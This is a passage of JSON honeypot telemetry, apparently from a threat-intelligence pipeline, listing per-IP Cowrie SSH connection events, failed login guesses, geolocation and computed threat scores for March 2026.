      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 5,
        "ElasticPot": 1,
        "Honeytrap": 1
      }
    },
    "185.93.89.71": {
      "attack_count": 5,
      "first_seen": "2026-03-05T20:50:51.207Z",
      "last_seen": "2026-03-05T20:50:53.581Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "2025#kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:38:55.019000+00:00",
        "last_seen_30d": "2026-03-05T20:51:56.420000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "36.103.222.120": {
      "attack_count": 5,
      "first_seen": "2026-03-31T17:52:47.409Z",
      "last_seen": "2026-03-31T17:52:50.346Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "temp"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Suzhou",
      "asn": 134761,
      "as_org": "CHINANET NINGXIA province ZHONGWEI IDC network",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T17:52:47.409000+00:00",
        "last_seen_30d": "2026-03-31T17:53:53.349000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "36.41.173.197": {
      "attack_count": 5,
      "first_seen": "2026-03-07T02:42:56.267Z",
      "last_seen": "2026-03-07T02:43:00.644Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "ks"
      ],
      "passwords_attempted": [
        "12345678"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134768,
      "as_org": "CHINANET SHAANXI province Cloud Base network",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T02:42:56.267000+00:00",
        "last_seen_30d": "2026-03-07T02:48:10.285000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "38.188.160.104": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:34:19.293Z",
      "last_seen": "2026-03-10T23:34:21.643Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "20000"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:34:19.293000+00:00",
        "last_seen_30d": "2026-03-10T23:35:27.455000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "147.185.132.129": {
      "attack_count": 4,
      "first_seen": "2026-03-15T10:08:20.806Z",
      "last_seen": "2026-03-15T10:08:23.578Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 29,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T20:28:15+00:00",
        "last_seen_30d": "2026-03-31T00:17:38.873000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 27,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "170.79.37.84": {
      "attack_count": 4,
      "first_seen": "2026-03-19T19:12:53.936Z",
      "last_seen": "2026-03-19T19:14:53.938Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": null,
      "asn": 6147,
      "as_org": "INTEGRATEL PERU S.A.A.",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T19:12:53.936000+00:00",
        "last_seen_30d": "2026-03-19T19:25:32.310000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "175.107.228.98": {
      "attack_count": 4,
      "first_seen": "2026-03-30T13:03:42.710Z",
      "last_seen": "2026-03-30T13:04:08.204Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T13:03:42.710000+00:00",
        "last_seen_30d": "2026-03-30T13:05:09.461000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "198.235.24.236": {
      "attack_count": 4,
      "first_seen": "2026-03-24T22:48:48.816Z",
      "last_seen": "2026-03-24T22:48:52.141Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 79.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 107,
        "days_active_30d": 29,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T07:53:08+00:00",
        "last_seen_30d": "2026-03-31T23:40:48.121000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Honeytrap": 28,
        "Cowrie": 4
      }
    },
    "64.62.197.32": {
      "attack_count": 4,
      "first_seen": "2026-03-10T14:48:58.428Z",
      "last_seen": "2026-03-14T12:24:12.419Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 340,
        "days_active_30d": 30,
        "ports_targeted_30d": 91,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T03:26:44+00:00",
        "last_seen_30d": "2026-03-31T15:30:26.808000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 205,
        "Honeytrap": 107,
        "Dionaea": 9,
        "ConPot": 5,
        "Adbhoney": 4,
        "Cowrie": 4,
        "ElasticPot": 4,
        "Ipphoney": 2
      }
    },
    "159.65.187.4": {
      "attack_count": 3,
      "first_seen": "2026-03-04T19:32:55.738Z",
      "last_seen": "2026-03-04T19:32:56.527Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 56.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.0,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 19,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-04T19:32:54+00:00",
        "last_seen_30d": "2026-03-22T04:23:58.493000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 73,
        "Honeytrap": 18,
        "Cowrie": 3,
        "Ciscoasa": 2,
        "Dionaea": 2,
        "CitrixHoneypot": 1,
        "H0neytr4p": 1
      }
    },
    "65.49.1.122": {
      "attack_count": 3,
      "first_seen": "2026-03-13T03:53:24.544Z",
      "last_seen": "2026-03-13T03:53:24.545Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 304,
        "days_active_30d": 30,
        "ports_targeted_30d": 87,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T04:19:58+00:00",
        "last_seen_30d": "2026-03-31T15:14:10.257000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 175,
        "Honeytrap": 96,
        "Miniprint": 18,
        "ConPot": 5,
        "Dionaea": 5,
        "Cowrie": 3,
        "Adbhoney": 2
      }
    },
    "109.67.164.165": {
      "attack_count": 2,
      "first_seen": "2026-03-31T04:13:25.383Z",
      "last_seen": "2026-03-31T04:13:38.120Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 6810,
      "as_org": "Bezeq- THE ISRAEL TELECOMMUNICATION CORP. LTD.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T04:13:25.383000+00:00",
        "last_seen_30d": "2026-03-31T04:14:40.574000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.37.6.107": {
      "attack_count": 2,
      "first_seen": "2026-03-08T15:48:24.083Z",
      "last_seen": "2026-03-08T15:48:37.739Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T15:48:24.083000+00:00",
        "last_seen_30d": "2026-03-08T15:49:46.594000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.254.120.69": {
      "attack_count": 2,
      "first_seen": "2026-03-16T05:50:10.958Z",
      "last_seen": "2026-03-16T05:50:23.788Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T05:50:10.958000+00:00",
        "last_seen_30d": "2026-03-16T05:51:30.505000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.59.42.139": {
      "attack_count": 2,
      "first_seen": "2026-03-05T08:51:15.319Z",
      "last_seen": "2026-03-05T08:51:45.940Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Suseong-gu",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T08:51:15.319000+00:00",
        "last_seen_30d": "2026-03-05T08:52:54.936000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "138.94.234.110": {
      "attack_count": 2,
      "first_seen": "2026-03-13T17:51:00.687Z",
      "last_seen": "2026-03-13T17:51:13.655Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Bel\u00e9m",
      "asn": 262887,
      "as_org": "RAPIX INTERNET",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T17:51:00.687000+00:00",
        "last_seen_30d": "2026-03-13T17:52:15.604000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.64.156.40": {
      "attack_count": 2,
      "first_seen": "2026-03-16T01:14:09.637Z",
      "last_seen": "2026-03-16T01:14:09.639Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T01:14:09.637000+00:00",
        "last_seen_30d": "2026-03-16T01:15:17.068000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "170.64.157.43": {
      "attack_count": 2,
      "first_seen": "2026-03-11T22:48:48.383Z",
      "last_seen": "2026-03-11T22:48:48.384Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T22:48:48.383000+00:00",
        "last_seen_30d": "2026-03-11T22:49:50.170000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "177.85.3.125": {
      "attack_count": 2,
      "first_seen": "2026-03-23T21:06:23.787Z",
      "last_seen": "2026-03-23T21:06:55.806Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Patroc\u00ednio",
      "asn": 262595,
      "as_org": "OnNet Telecomunicacoes LTDA",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T21:06:23.787000+00:00",
        "last_seen_30d": "2026-03-23T21:08:05.559000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "194.44.33.47": {
      "attack_count": 2,
      "first_seen": "2026-03-22T12:14:44.907Z",
      "last_seen": "2026-03-22T12:14:57.418Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Chernivtsi",
      "asn": 3255,
      "as_org": "LLC Eksintech",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T12:14:44.907000+00:00",
        "last_seen_30d": "2026-03-22T12:15:58.382000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "195.62.36.78": {
      "attack_count": 2,
      "first_seen": "2026-03-17T11:35:30.575Z",
      "last_seen": "2026-03-17T11:35:45.345Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Odesa",
      "asn": 42905,
      "as_org": "LIMANET Ltd.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T11:35:30.575000+00:00",
        "last_seen_30d": "2026-03-17T11:36:45.687000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "200.54.237.42": {
      "attack_count": 2,
      "first_seen": "2026-03-13T17:17:41.291Z",
      "last_seen": "2026-03-13T17:17:53.967Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 16629,
      "as_org": "CTC. CORP S.A. TELEFONICA EMPRESAS",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T17:17:41.291000+00:00",
        "last_seen_30d": "2026-03-13T17:19:02.996000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.10": {
      "attack_count": 2,
      "first_seen": "2026-03-11T15:08:10.521Z",
      "last_seen": "2026-03-11T15:08:41.567Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 34.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.1,
        "persistence": 13.3,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 16,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T12:42:59+00:00",
        "last_seen_30d": "2026-03-18T08:19:03.664000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Honeytrap": 6,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "216.126.86.227": {
      "attack_count": 2,
      "first_seen": "2026-03-24T04:53:08.794Z",
      "last_seen": "2026-03-24T04:53:22.269Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 7311,
      "as_org": "Frontier Networks Inc",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T04:53:08.794000+00:00",
        "last_seen_30d": "2026-03-24T04:54:32.044000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.134.86.182": {
      "attack_count": 2,
      "first_seen": "2026-03-08T23:12:59.954Z",
      "last_seen": "2026-03-08T23:13:30.536Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Hachinohe",
      "asn": 10013,
      "as_org": "FreeBit Co.,Ltd.",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T23:12:59.954000+00:00",
        "last_seen_30d": "2026-03-08T23:14:35.469000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "41.59.26.53": {
      "attack_count": 2,
      "first_seen": "2026-03-15T22:40:51.658Z",
      "last_seen": "2026-03-15T22:41:04.827Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T22:40:51.658000+00:00",
        "last_seen_30d": "2026-03-15T22:42:11.787000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.239.203.202": {
      "attack_count": 2,
      "first_seen": "2026-03-13T18:04:27.097Z",
      "last_seen": "2026-03-13T18:04:58.426Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Osasco",
      "asn": 268468,
      "as_org": "MXCONECT SERVICOS DE COMUNICACAO LTDA",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T18:04:27.097000+00:00",
        "last_seen_30d": "2026-03-13T18:05:59.798000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "61.240.156.37": {
      "attack_count": 2,
      "first_seen": "2026-03-25T03:06:45.155Z",
      "last_seen": "2026-03-25T03:08:45.206Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
